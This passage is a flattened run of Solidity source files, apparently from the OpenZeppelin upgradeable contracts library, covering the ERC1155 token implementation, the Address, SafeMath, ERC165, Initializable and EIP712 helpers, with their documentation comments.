avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC1155Upgradeable.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC1155Upgradeable.sol"; import "./IERC1155MetadataURIUpgradeable.sol"; import "./IERC1155ReceiverUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../introspection/ERC165Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ function __ERC1155_init(string memory uri_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155_init_unchained(uri_); } function __ERC1155_init_unchained(string memory uri_) internal initializer { _setURI(uri_); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 _registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) external view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from].sub( amount, "ERC1155: insufficient balance for transfer" ); _balances[id][to] = _balances[id][to].add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account].add(amount); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]); } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account].sub( amount, "ERC1155: burn amount exceeds balance" ); emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account].sub( amounts[i], "ERC1155: burn amount exceeds balance" ); } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155ReceiverUpgradeable(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } uint256[47] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ERC1155Upgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155BurnableUpgradeable is Initializable, ERC1155Upgradeable { function __ERC1155Burnable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155Burnable_init_unchained(); } function __ERC1155Burnable_init_unchained() internal initializer { } function burn(address account, uint256 id, uint256 value) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch(address account, uint256[] memory ids, uint256[] memory values) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165Upgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712Upgradeable is Initializable { /* solhint-disable var-name-mixedcase */ bytes32 private _HASHED_NAME; bytes32 private _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ function __EIP712_init(string memory name, string memory version) internal initializer { __EIP712_init_unchained(name, version); } function __EIP712_init_unchained(string memory name, string memory version) internal initializer { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, _getChainId(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal virtual view returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal virtual view returns (bytes32) { return 